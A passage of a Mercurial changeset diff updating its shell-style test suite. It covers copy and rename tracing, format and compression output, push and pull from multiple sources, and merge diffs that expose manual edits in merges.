"mEA" +about that file should stay unchanged. + +The result from mAEm is the same for the subsequent merge: + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mAE-change-m")' f + A f + a (filelog !) + a (sidedata !) + a (upgraded !) + a (upgraded-parallel !) + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mAE-change,Km")' f + A f + a (filelog !) + a (sidedata !) + a (upgraded !) + a (upgraded-parallel !) + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mK,AE-change-m")' f + A f + a (no-changeset no-compatibility !) + + +The result from mEAm is the same for the subsequent merge: + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mEA-change-m")' f + A f + a (filelog !) + b (sidedata !) + b (upgraded !) + b (upgraded-parallel !) + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mEA-change,Jm")' f + A f + a (filelog !) + b (sidedata !) + b (upgraded !) + b (upgraded-parallel !) + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mJ,EA-change-m")' f + A f + a (filelog !) + b (sidedata !) + b (upgraded !) + b (upgraded-parallel !) diff -r bc268ea9f984 -r f67b8946bb1b tests/test-copies-in-changeset.t --- a/tests/test-copies-in-changeset.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-copies-in-changeset.t Tue Apr 20 11:01:06 2021 -0400 @@ -39,11 +39,13 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: yes yes no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) copies-sdc: yes yes no + revlog-v2: yes yes no plain-cl-delta: yes yes yes - compression: zlib zlib zlib + compression: zlib zlib zlib (no-zstd !) + compression: zstd zstd zstd (zstd !) compression-level: default default default #else $ hg debugformat -v @@ -53,11 +55,13 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: no no no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) copies-sdc: no no no + revlog-v2: no no no plain-cl-delta: yes yes yes - compression: zlib zlib zlib + compression: zlib zlib zlib (no-zstd !) + compression: zstd zstd zstd (zstd !) compression-level: default default default #endif $ echo a > a @@ -345,7 +349,10 @@ $ hg co -q 0 $ hg mv a b $ hg ci -qm 'rename a to b' - $ hg rebase -d 1 --config rebase.experimental.inmemory=yes +Not only do we want this to run in-memory, it shouldn't fall back to +on-disk merge (no conflicts), so we force it to be in-memory +with no fallback. + $ hg rebase -d 1 --config rebase.experimental.inmemory=yes --config devel.rebase.force-in-memory-merge=yes rebasing 2:* tip "rename a to b" (glob) merging a and b to b saved backup bundle to $TESTTMP/rebase-rename/.hg/strip-backup/*-*-rebase.hg (glob) @@ -421,11 +428,13 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: yes yes no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) copies-sdc: yes yes no + revlog-v2: yes yes no plain-cl-delta: yes yes yes - compression: zlib zlib zlib + compression: zlib zlib zlib (no-zstd !) + compression: zstd zstd zstd (zstd !) compression-level: default default default $ hg debugsidedata -c -- 0 1 sidedata entries @@ -447,11 +456,13 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: yes yes no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) copies-sdc: no no no + revlog-v2: yes yes no plain-cl-delta: yes yes yes - compression: zlib zlib zlib + compression: zlib zlib zlib (no-zstd !) + compression: zstd zstd zstd (zstd !) compression-level: default default default $ hg debugsidedata -c -- 0 1 sidedata entries @@ -475,11 +486,13 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: yes yes no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) copies-sdc: yes yes no + revlog-v2: yes yes no plain-cl-delta: yes yes yes - compression: zlib zlib zlib + compression: zlib zlib zlib (no-zstd !) + compression: zstd zstd zstd (zstd !) compression-level: default default default $ hg debugsidedata -c -- 0 1 sidedata entries diff -r bc268ea9f984 -r f67b8946bb1b tests/test-copies.t --- a/tests/test-copies.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-copies.t Tue Apr 20 11:01:06 2021 -0400 @@ -93,8 +93,10 @@ x y $ hg debugp1copies -r 1 x -> y -Incorrectly doesn't show the rename $ hg debugpathcopies 0 1 + x -> y (no-filelog !) + $ hg debugpathcopies 0 1 --config devel.copy-tracing.trace-all-files=yes + x -> y Copy a file onto another file with same content. If metadata is stored in changeset, this does not produce a new filelog entry. The changeset's "files" entry should still list the file. @@ -111,8 +113,10 @@ x x2 $ hg debugp1copies -r 1 x -> x2 -Incorrectly doesn't show the rename $ hg debugpathcopies 0 1 + x -> x2 (no-filelog !) + $ hg debugpathcopies 0 1 --config devel.copy-tracing.trace-all-files=yes + x -> x2 Rename file in a loop: x->y->z->x $ newrepo @@ -374,6 +378,29 @@ $ hg debugpathcopies 1 3 x -> z +Copy x->y on two separate branches. Pathcopies from one branch to the other +should not report the copy. + $ newrepo + $ echo x > x + $ hg ci -Aqm 'add x' + $ hg cp x y + $ hg ci -qm 'copy x to y' + $ hg co -q 0 + $ hg graft 1 -q + $ hg l + @ 2 copy x to y + | y + | o 1 copy x to y + |/ y + o 0 add x + x + $ hg debugp1copies -r 1 + x -> y + $ hg debugp1copies -r 2 + x -> y + $ hg debugpathcopies 1 2 + $ hg debugpathcopies 2 1 + Copy x to y on one side of merge, create y and rename to z on the other side. $ newrepo $ echo x > x diff -r bc268ea9f984 -r f67b8946bb1b tests/test-copy.t --- a/tests/test-copy.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-copy.t Tue Apr 20 11:01:06 2021 -0400 @@ -228,6 +228,17 @@ should show no copies $ hg st -C +note: since filelog based copy tracing only trace copy for new file, the copy information here is not displayed. + + $ hg status --copies --change . + M bar + +They are a devel option to walk all file and fine this information anyway. + + $ hg status --copies --change . --config devel.copy-tracing.trace-all-files=yes + M bar + foo + copy --after on an added file $ cp bar baz $ hg add baz @@ -266,19 +277,25 @@ $ rm baz xyzzy -Test unmarking copy of a single file +Test unmarking copy/rename of a single file # Set up by creating a copy $ hg cp bar baz -# Test uncopying a non-existent file +# Test unmarking as copy a non-existent file $ hg copy --forget non-existent non-existent: $ENOENT$ -# Test uncopying an tracked but unrelated file + $ hg rename --forget non-existent + non-existent: $ENOENT$ +# Test unmarking as copy an tracked but unrelated file $ hg copy --forget foo foo: not unmarking as copy - file is not marked as copied -# Test uncopying a copy source + $ hg rename --forget foo + foo: not unmarking as copy - file is not marked as copied +# Test unmarking as copy a copy source $ hg copy --forget bar bar: not unmarking as copy - file is not marked as copied + $ hg rename --forget bar + bar: not unmarking as copy - file is not marked as copied # baz should still be marked as a copy $ hg st -C A baz @@ -287,17 +304,38 @@ $ hg copy --forget baz $ hg st -C A baz -# Test uncopy with matching an non-matching patterns + $ rm bar + $ hg rename --after bar baz + $ hg st -C + A baz + bar + R bar + $ hg rename --forget baz + $ hg st -C + A baz + R bar + $ hg revert bar +# Test unmarking as copy with matching an non-matching patterns $ hg cp bar baz --after $ hg copy --forget bar baz bar: not unmarking as copy - file is not marked as copied + $ hg cp bar baz --after + $ hg rename --forget bar baz + bar: not unmarking as copy - file is not marked as copied $ hg st -C A baz -# Test uncopy with no exact matches +# Test unmarking as copy with no exact matches $ hg cp bar baz --after $ hg copy --forget . $ hg st -C A baz + $ hg cp bar baz --after + $ hg st -C + A baz + bar + $ hg rename --forget . + $ hg st -C + A baz $ hg forget baz $ rm baz diff -r bc268ea9f984 -r f67b8946bb1b tests/test-debugcommands.t --- a/tests/test-debugcommands.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-debugcommands.t Tue Apr 20 11:01:06 2021 -0400 @@ -186,8 +186,10 @@ node trie capacity: 4 node trie count: 2 node trie depth: 1 - node trie last rev scanned: -1 - node trie lookups: 4 + node trie last rev scanned: -1 (no-rust !) + node trie last rev scanned: 3 (rust !) + node trie lookups: 4 (no-rust !) + node trie lookups: 2 (rust !) node trie misses: 1 node trie splits: 1 revs in memory: 3 @@ -368,7 +370,8 @@ 7 1 8 1 9 1 - 10 2 + 10 2 (no-zstd !) + 10 1 (zstd !) 11 1 $ hg --config extensions.strip= strip --no-backup -r 1 1 files updated, 0 files merged, 0 files removed, 0 files unresolved @@ -636,7 +639,6 @@ remote-changegroup http https - rev-branch-cache stream v2 @@ -654,8 +656,10 @@ devel-peer-request: pairs: 81 bytes sending hello command sending between command - remote: 463 - remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + remote: 444 (no-rust !) + remote: 463 (rust !) + remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (no-rust !) + remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,persistent-nodemap,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (rust !) remote: 1 devel-peer-request: protocaps devel-peer-request: caps: * bytes (glob) diff -r bc268ea9f984 -r f67b8946bb1b tests/test-default-push.t --- a/tests/test-default-push.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-default-push.t Tue Apr 20 11:01:06 2021 -0400 @@ -137,6 +137,7 @@ $ hg --config 'paths.default:pushrev=notdefined()' push pushing to file:/*/$TESTTMP/pushurlsource/../pushurldest (glob) hg: parse error: unknown identifier: notdefined + (did you mean nodefromfile?) [10] $ hg --config 'paths.default:pushrev=(' push @@ -146,4 +147,40 @@ ^ here) [10] +default :pushrev is taking in account + + $ echo babar > foo + $ hg ci -m 'extra commit' + $ hg up '.^' + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ echo celeste > foo + $ hg ci -m 'extra other commit' + created new head + $ cat >> .hg/hgrc << EOF + > [paths] + > other = file://$WD/../pushurldest + > *:pushrev = . + > EOF + $ hg push other + pushing to file:/*/$TESTTMP/pushurlsource/../pushurldest (glob) + searching for changes + adding changesets + adding manifests + adding file changes + added 1 changesets with 1 changes to 1 files + $ hg push file://$WD/../pushurldest + pushing to file:/*/$TESTTMP/pushurlsource/../pushurldest (glob) + searching for changes + no changes found + [1] + +for comparison, pushing everything would give different result + + $ hg push file://$WD/../pushurldest --rev 'all()' + pushing to file:/*/$TESTTMP/pushurlsource/../pushurldest (glob) + searching for changes + abort: push creates new remote head 1616ce7cecc8 + (merge or see 'hg help push' for details about pushing new heads) + [20] + $ cd .. diff -r bc268ea9f984 -r f67b8946bb1b tests/test-diff-change.t --- a/tests/test-diff-change.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-diff-change.t Tue Apr 20 11:01:06 2021 -0400 @@ -194,4 +194,105 @@ 9 10 +merge diff should show only manual edits to a merge: + + $ hg diff --config diff.merge=yes -c 6 +(no diff output is expected here) + +Construct an "evil merge" that does something other than just the merge. + + $ hg co ".^" + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ hg merge -r 5 + merging file.txt + 0 files updated, 1 files merged, 0 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ echo 11 >> file.txt + $ hg ci -m 'merge 8 to y with manual edit of 11' # 7 + created new head + $ hg diff -c 7 + diff -r 273b50f17c6d -r 8ad85e839ba7 file.txt + --- a/file.txt Thu Jan 01 00:00:00 1970 +0000 + +++ b/file.txt Thu Jan 01 00:00:00 1970 +0000 + @@ -6,6 +6,7 @@ + 5 + 6 + 7 + -8 + +y + 9 + 10 + +11 +Contrast with the `hg diff -c 7` version above: only the manual edit shows +up, making it easy to identify changes someone is otherwise trying to sneak +into a merge. + $ hg diff --config diff.merge=yes -c 7 + diff -r 8ad85e839ba7 file.txt + --- a/file.txt Thu Jan 01 00:00:00 1970 +0000 + +++ b/file.txt Thu Jan 01 00:00:00 1970 +0000 + @@ -9,3 +9,4 @@ + y + 9 + 10 + +11 + +Set up a conflict. + $ hg co ".^" + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ sed -e 's,^8$,z,' file.txt > file.txt.tmp + $ mv file.txt.tmp file.txt + $ hg ci -m 'conflicting edit: 8 to z' + created new head + $ echo "this file is new in p1 of the merge" > new-file-p1.txt + $ hg ci -Am 'new file' new-file-p1.txt + $ hg log -r . --template 'p1 will be rev {rev}\n' + p1 will be rev 9 + $ hg co 5 + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ echo "this file is new in p2 of the merge" > new-file-p2.txt + $ hg ci -Am 'new file' new-file-p2.txt + created new head + $ hg log -r . --template 'p2 will be rev {rev}\n' + p2 will be rev 10 + $ hg co -- 9 + 2 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ hg merge -r 10 + merging file.txt + warning: conflicts while merging file.txt! (edit, then use 'hg resolve --mark') + 1 files updated, 0 files merged, 0 files removed, 1 files unresolved + use 'hg resolve' to retry unresolved file merges or 'hg merge --abort' to abandon + [1] + $ hg revert file.txt -r . + $ hg resolve -ma + (no more unresolved files) + $ hg commit -m 'merge conflicted edit' +Without diff.merge, it's a diff against p1 + $ hg diff --config diff.merge=no -c 11 + diff -r fd1f17c90d7c -r 5010caab09f6 new-file-p2.txt + --- /dev/null Thu Jan 01 00:00:00 1970 +0000 + +++ b/new-file-p2.txt Thu Jan 01 00:00:00 1970 +0000 + @@ -0,0 +1,1 @@ + +this file is new in p2 of the merge +With diff.merge, it's a diff against the conflicted content. + $ hg diff --config diff.merge=yes -c 11 + diff -r 5010caab09f6 file.txt + --- a/file.txt Thu Jan 01 00:00:00 1970 +0000 + +++ b/file.txt Thu Jan 01 00:00:00 1970 +0000 + @@ -6,12 +6,6 @@ + 5 + 6 + 7 + -<<<<<<< local: fd1f17c90d7c - test: new file + z + -||||||| base + -8 + -======= + -y + ->>>>>>> other: d9e7de69eac3 - test: new file + 9 + 10 + +There must _NOT_ be a .hg/merge directory leftover. + $ test ! -d .hg/merge +(No output is expected) $ cd .. diff -r bc268ea9f984 -r f67b8946bb1b tests/test-dispatch.t --- a/tests/test-dispatch.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-dispatch.t Tue Apr 20 11:01:06 2021 -0400 @@ -154,7 +154,7 @@ $ HGPLAIN=+strictflags hg --config='hooks.pre-log=false' log -b default abort: pre-log hook exited with status 1 - [255] + [40] $ HGPLAIN=+strictflags hg --cwd .. -q -Ra log -b default 0:cb9a9f314b8b $ HGPLAIN=+strictflags hg --cwd .. -q --repository a log -b default @@ -166,7 +166,7 @@ $ HGPLAIN= hg log --config='hooks.pre-log=false' -b default abort: pre-log hook exited with status 1 - [255] + [40] $ HGPLAINEXCEPT= hg log --cwd .. -q -Ra -b default 0:cb9a9f314b8b diff -r bc268ea9f984 -r f67b8946bb1b tests/test-doctest.py --- a/tests/test-doctest.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-doctest.py Tue Apr 20 11:01:06 2021 -0400 @@ -158,6 +158,7 @@ ('mercurial.util', '{}'), ('mercurial.utils.dateutil', '{}'), ('mercurial.utils.stringutil', '{}'), + ('mercurial.utils.urlutil', '{}'), ('tests.drawdag', '{}'), ('tests.test-run-tests', '{}'), ('tests.test-url', "{'optionflags': 4}"), diff -r bc268ea9f984 -r f67b8946bb1b tests/test-exchange-multi-source.t --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/test-exchange-multi-source.t Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,613 @@ +==================================================== +Test push/pull from multiple source at the same time +==================================================== + + +Setup +===== + +main repository +--------------- + + $ . $RUNTESTDIR/testlib/common.sh + $ hg init main-repo + $ cd main-repo + $ mkcommit A + $ mkcommit B + $ mkcommit C + $ mkcommit D + $ mkcommit E + $ hg up 'desc(B)' + 0 files updated, 0 files merged, 3 files removed, 0 files unresolved + $ mkcommit F + created new head + $ mkcommit G + $ hg up 'desc(C)' + 1 files updated, 0 files merged, 2 files removed, 0 files unresolved + $ mkcommit H + created new head + $ hg up null --quiet + $ hg log -T '{desc} {rev}\n' --rev 'sort(all(), "topo")' -G + o H 7 + | + | o E 4 + | | + | o D 3 + |/ + o C 2 + | + | o G 6 + | | + | o F 5 + |/ + o B 1 + | + o A 0 + + $ cd .. + +Various other repositories +-------------------------- + + $ hg clone main-repo branch-E --rev 4 -U + adding changesets + adding manifests + adding file changes + added 5 changesets with 5 changes to 5 files + new changesets 4a2df7238c3b:a603bfb5a83e + $ hg clone main-repo branch-G --rev 6 -U + adding changesets + adding manifests + adding file changes + added 4 changesets with 4 changes to 4 files + new changesets 4a2df7238c3b:c521a06b234b + $ hg clone main-repo branch-H --rev 7 -U + adding changesets + adding manifests + adding file changes + added 4 changesets with 4 changes to 4 files + new changesets 4a2df7238c3b:40faebb2ec45 + +Test simple bare operation +========================== + +pull +---- + + $ hg clone main-repo test-repo-bare --rev 0 -U + adding changesets + adding manifests + adding file changes + added 1 changesets with 1 changes to 1 files + new changesets 4a2df7238c3b + + $ hg pull -R test-repo-bare ./branch-E ./branch-G ./branch-H + pulling from ./branch-E + searching for changes + adding changesets + adding manifests + adding file changes + added 4 changesets with 4 changes to 4 files + new changesets 27547f69f254:a603bfb5a83e + (run 'hg update' to get a working copy) + pulling from ./branch-G + searching for changes + adding changesets + adding manifests + adding file changes + added 2 changesets with 2 changes to 2 files (+1 heads) + new changesets 2f3a4c5c1417:c521a06b234b + (run 'hg heads' to see heads, 'hg merge' to merge) + pulling from ./branch-H + searching for changes + adding changesets + adding manifests + adding file changes + added 1 changesets with 1 changes to 1 files (+1 heads) + new changesets 40faebb2ec45 + (run 'hg heads .' to see heads, 'hg merge' to merge) + $ hg log -R test-repo-bare -T '{desc} {rev}\n' --rev 'sort(all(), "topo")' -G + o H 7 + | + | o E 4 + | | + | o D 3 + |/ + o C 2 + | + | o G 6 + | | + | o F 5 + |/ + o B 1 + | + o A 0 + + +push +---- + + $ cp -R ./branch-E ./branch-E-push + $ cp -R ./branch-G ./branch-G-push + $ cp -R ./branch-H ./branch-H-push + $ hg out -G -R test-repo-bare ./branch-E-push ./branch-G-push ./branch-H-push + comparing with ./branch-E-push + searching for changes + comparing with ./branch-G-push + searching for changes + comparing with ./branch-H-push + searching for changes + o changeset: 7:40faebb2ec45 + | tag: tip + | parent: 2:f838bfaca5c7 + | user: test + | date: Thu Jan 01 00:00:00 1970 +0000 + | summary: H + | + | o changeset: 6:c521a06b234b + | | user: test + | | date: Thu Jan 01 00:00:00 1970 +0000 + | | summary: G + | | + | o changeset: 5:2f3a4c5c1417 + | parent: 1:27547f69f254 + | user: test + | date: Thu Jan 01 00:00:00 1970 +0000 + | summary: F + | + | o changeset: 4:a603bfb5a83e + | | user: test + | | date: Thu Jan 01 00:00:00 1970 +0000 + | | summary: E + | | + | o changeset: 3:b3325c91a4d9 + |/ user: test + | date: Thu Jan 01 00:00:00 1970 +0000 + | summary: D + | + o changeset: 2:f838bfaca5c7 + user: test + date: Thu Jan 01 00:00:00 1970 +0000 + summary: C + + $ hg bundle -R test-repo-bare bundle.hg ./branch-E-push ./branch-G-push ./branch-H-push + searching for changes + searching for changes + searching for changes + 6 changesets found + $ hg push --force -R test-repo-bare ./branch-E-push ./branch-G-push ./branch-H-push + pushing to ./branch-E-push + searching for changes + adding changesets + adding manifests + adding file changes + added 3 changesets with 3 changes to 3 files (+2 heads) + pushing to ./branch-G-push + searching for changes + adding changesets + adding manifests + adding file changes + added 4 changesets with 4 changes to 4 files (+2 heads) + pushing to ./branch-H-push + searching for changes + adding changesets + adding manifests + adding file changes + added 4 changesets with 4 changes to 4 files (+2 heads) + $ hg log -R ./branch-E-push -T '{desc} {rev}\n' --rev 'sort(all(), "topo")' -G + o H 7 + | + | o E 4 + | | + | o D 3 + |/ + o C 2 + | + | o G 6 + | | + | o F 5 + |/ + o B 1 + | + o A 0 + + $ hg log -R ./branch-G-push -T '{desc} {rev}\n' --rev 'sort(all(), "topo")' -G + o H 7 + | + | o E 6 + | | + | o D 5 + |/ + o C 4 + | + | o G 3 + | | + | o F 2 + |/ + o B 1 + | + o A 0 + + $ hg log -R ./branch-H-push -T '{desc} {rev}\n' --rev 'sort(all(), "topo")' -G + o G 7 + | + o F 6 + | + | o E 5 + | | + | o D 4 + | | + | | o H 3 + | |/ + | o C 2 + |/ + o B 1 + | + o A 0 + + $ rm -rf ./*-push + +Test operation with a target +============================ + +pull +---- + + $ hg clone main-repo test-repo-rev --rev 0 -U + adding changesets + adding manifests + adding file changes + added 1 changesets with 1 changes to 1 files + new changesets 4a2df7238c3b + +pulling an explicite revision + + $ node_b=`hg log -R main-repo --rev 'desc(B)' -T '{node}'` + $ hg pull -R test-repo-rev ./branch-E ./branch-G ./branch-H --rev $node_b + pulling from ./branch-E + searching for changes + adding changesets + adding manifests + adding file changes + added 1 changesets with 1 changes to 1 files + new changesets 27547f69f254 + (run 'hg update' to get a working copy) + pulling from ./branch-G + no changes found + pulling from ./branch-H + no changes found + $ hg log -R test-repo-rev -T '{desc} {rev}\n' --rev 'sort(all(), "topo")' -G + o B 1 + | + o A 0 + + +pulling a branch head, the branch head resolve to different revision on the +different repositories. + + $ hg pull -R test-repo-rev ./branch-E ./branch-G ./branch-H --rev default + pulling from ./branch-E + searching for changes + adding changesets + adding manifests + adding file changes + added 3 changesets with 3 changes to 3 files + new changesets f838bfaca5c7:a603bfb5a83e + (run 'hg update' to get a working copy) + pulling from ./branch-G + searching for changes + adding changesets + adding manifests + adding file changes + added 2 changesets with 2 changes to 2 files (+1 heads) + new changesets 2f3a4c5c1417:c521a06b234b + (run 'hg heads' to see heads, 'hg merge' to merge) + pulling from ./branch-H + searching for changes + adding changesets + adding manifests + adding file changes + added 1 changesets with 1 changes to 1 files (+1 heads) + new changesets 40faebb2ec45 + (run 'hg heads .' to see heads, 'hg merge' to merge) + $ hg log -R test-repo-rev -T '{desc} {rev}\n' --rev 'sort(all(), "topo")' -G + o H 7 + | + | o E 4 + | | + | o D 3 + |/ + o C 2 + | + | o G 6 + | | + | o F 5 + |/ + o B 1 + | + o A 0 + + +push +---- + +We only push a specific branch with --rev + + $ cp -R ./branch-E ./branch-E-push + $ cp -R ./branch-G ./branch-G-push + $ cp -R ./branch-H ./branch-H-push + $ hg out -G -R test-repo-bare ./branch-E-push ./branch-G-push ./branch-H-push --rev default + comparing with ./branch-E-push + searching for changes + comparing with ./branch-G-push + searching for changes + comparing with ./branch-H-push + searching for changes + no changes found + o changeset: 7:40faebb2ec45 + | tag: tip + | parent: 2:f838bfaca5c7 + | user: test + | date: Thu Jan 01 00:00:00 1970 +0000 + | summary: H + | + o changeset: 2:f838bfaca5c7 + user: test + date: Thu Jan 01 00:00:00 1970 +0000 + summary: C + + $ hg bundle -R test-repo-bare bundle.hg ./branch-E-push ./branch-G-push ./branch-H-push --rev default + searching for changes + searching for changes + searching for changes + 2 changesets found + $ hg push --force -R test-repo-bare ./branch-E-push ./branch-G-push ./branch-H-push --rev default + pushing to ./branch-E-push + searching for changes + adding changesets + adding manifests + adding file changes + added 1 changesets with 1 changes to 1 files (+1 heads) + pushing to ./branch-G-push + searching for changes + adding changesets + adding manifests + adding file changes + added 2 changesets with 2 changes to 2 files (+1 heads) + pushing to ./branch-H-push + searching for changes + no changes found + $ hg log -R ./branch-E-push -T '{desc} {rev}\n' --rev 'sort(all(), "topo")' -G + o H 5 + | + | o E 4 + | | + | o D 3 + |/ + o C 2 + | + o B 1 + | + o A 0 + + $ hg log -R ./branch-G-push -T '{desc} {rev}\n' --rev 'sort(all(), "topo")' -G + o H 5 + | + o C 4 + | + | o G 3 + | | + | o F 2 + |/ + o B 1 + | + o A 0 + + $ hg log -R ./branch-H-push -T '{desc} {rev}\n' --rev 'sort(all(), "topo")' -G + o H 3 + | + o C 2 + | + o B 1 + | + o A 0 + + $ rm -rf ./*-push + +Same push, but the first one is a no-op + + $ cp -R ./branch-E ./branch-E-push + $ cp -R ./branch-G ./branch-G-push + $ cp -R ./branch-H ./branch-H-push + $ hg out -G -R test-repo-bare ./branch-G-push ./branch-H-push ./branch-E-push --rev default + comparing with ./branch-G-push + searching for changes + comparing with ./branch-H-push + searching for changes + no changes found + comparing with ./branch-E-push + searching for changes + o changeset: 7:40faebb2ec45 + | tag: tip + | parent: 2:f838bfaca5c7 + | user: test + | date: Thu Jan 01 00:00:00 1970 +0000 + | summary: H + | + o changeset: 2:f838bfaca5c7 + user: test + date: Thu Jan 01 00:00:00 1970 +0000 + summary: C + + $ hg bundle -R test-repo-bare bundle.hg ./branch-G-push ./branch-H-push ./branch-E-push --rev default + searching for changes + searching for changes + searching for changes + 2 changesets found + $ hg push --force -R test-repo-bare ./branch-G-push ./branch-H-push ./branch-E-push --rev default + pushing to ./branch-G-push + searching for changes + adding changesets + adding manifests + adding file changes + added 2 changesets with 2 changes to 2 files (+1 heads) + pushing to ./branch-H-push + searching for changes + no changes found + pushing to ./branch-E-push + searching for changes + adding changesets + adding manifests + adding file changes + added 1 changesets with 1 changes to 1 files (+1 heads) + $ hg log -R ./branch-E-push -T '{desc} {rev}\n' --rev 'sort(all(), "topo")' -G + o H 5 + | + | o E 4 + | | + | o D 3 + |/ + o C 2 + | + o B 1 + | + o A 0 + + $ hg log -R ./branch-G-push -T '{desc} {rev}\n' --rev 'sort(all(), "topo")' -G + o H 5 + | + o C 4 + | + | o G 3 + | | + | o F 2 + |/ + o B 1 + | + o A 0 + + $ hg log -R ./branch-H-push -T '{desc} {rev}\n' --rev 'sort(all(), "topo")' -G + o H 3 + | + o C 2 + | + o B 1 + | + o A 0 + + $ rm -rf ./*-push + + +Test with --update +================== + +update without conflicts +------------------------ + + $ hg clone main-repo test-repo-update --rev 0 + adding changesets + adding manifests + adding file changes + added 1 changesets with 1 changes to 1 files + new changesets 4a2df7238c3b + updating to branch default + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + +We update for each pull, so the first on get into a branch independant from the +other and stay there. This is the expected behavior. + + $ hg log -R test-repo-update -T '{desc} {rev}\n' --rev 'sort(all(), "topo")' -G + @ A 0 + + $ hg pull -R test-repo-update ./branch-E ./branch-G ./branch-H --update + pulling from ./branch-E + searching for changes + adding changesets + adding manifests + adding file changes + added 4 changesets with 4 changes to 4 files + new changesets 27547f69f254:a603bfb5a83e + 4 files updated, 0 files merged, 0 files removed, 0 files unresolved + pulling from ./branch-G + searching for changes + adding changesets + adding manifests + adding file changes + added 2 changesets with 2 changes to 2 files (+1 heads) + new changesets 2f3a4c5c1417:c521a06b234b + 0 files updated, 0 files merged, 0 files removed, 0 files unresolved + updated to "a603bfb5a83e: E" + 1 other heads for branch "default" + pulling from ./branch-H + searching for changes + adding changesets + adding manifests + adding file changes + added 1 changesets with 1 changes to 1 files (+1 heads) + new changesets 40faebb2ec45 + 0 files updated, 0 files merged, 0 files removed, 0 files unresolved + updated to "a603bfb5a83e: E" + 2 other heads for branch "default" + $ hg log -R test-repo-update -T '{desc} {rev}\n' --rev 'sort(all(), "topo")' -G + o H 7 + | + | @ E 4 + | | + | o D 3 + |/ + o C 2 + | + | o G 6 + | | + | o F 5 + |/ + o B 1 + | + o A 0 + + +update with conflicts +--------------------- + + $ hg clone main-repo test-repo-conflict --rev 0 + adding changesets + adding manifests + adding file changes + added 1 changesets with 1 changes to 1 files + new changesets 4a2df7238c3b + updating to branch default + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + +The update has conflict and interrupt the pull. + + $ echo this-will-conflict > test-repo-conflict/D + $ hg add -R test-repo-conflict test-repo-conflict/D + $ hg log -R test-repo-conflict -T '{desc} {rev}\n' --rev 'sort(all(), "topo")' -G + @ A 0 + + $ hg pull -R test-repo-conflict ./branch-E ./branch-G ./branch-H --update + pulling from ./branch-E + searching for changes + adding changesets + adding manifests + adding file changes + added 4 changesets with 4 changes to 4 files + new changesets 27547f69f254:a603bfb5a83e + merging D + warning: conflicts while merging D! (edit, then use 'hg resolve --mark') + 3 files updated, 0 files merged, 0 files removed, 1 files unresolved + use 'hg resolve' to retry unresolved file merges + [1] + $ hg -R test-repo-conflict resolve -l + U D + $ hg log -R test-repo-conflict -T '{desc} {rev}\n' --rev 'sort(all(), "topo")' -G + @ E 4 + | + o D 3 + | + o C 2 + | + o B 1 + | + % A 0 + diff -r bc268ea9f984 -r f67b8946bb1b tests/test-extension.t --- a/tests/test-extension.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-extension.t Tue Apr 20 11:01:06 2021 -0400 @@ -676,7 +676,7 @@ Mercurial Distributed SCM (version *) (glob) (see https://mercurial-scm.org for more information) - Copyright (C) 2005-* Matt Mackall and others (glob) + Copyright (C) 2005-* Olivia Mackall and others (glob) This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. @@ -1555,7 +1555,7 @@ Mercurial Distributed SCM (version *) (glob) (see https://mercurial-scm.org for more information) - Copyright (C) 2005-* Matt Mackall and others (glob) + Copyright (C) 2005-* Olivia Mackall and others (glob) This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. @@ -1566,7 +1566,7 @@ Mercurial Distributed SCM (version *) (glob) (see https://mercurial-scm.org for more information) - Copyright (C) 2005-* Matt Mackall and others (glob) + Copyright (C) 2005-* Olivia Mackall and others (glob) This is free software; see the source for copying conditions. There is NO warranty; not even for 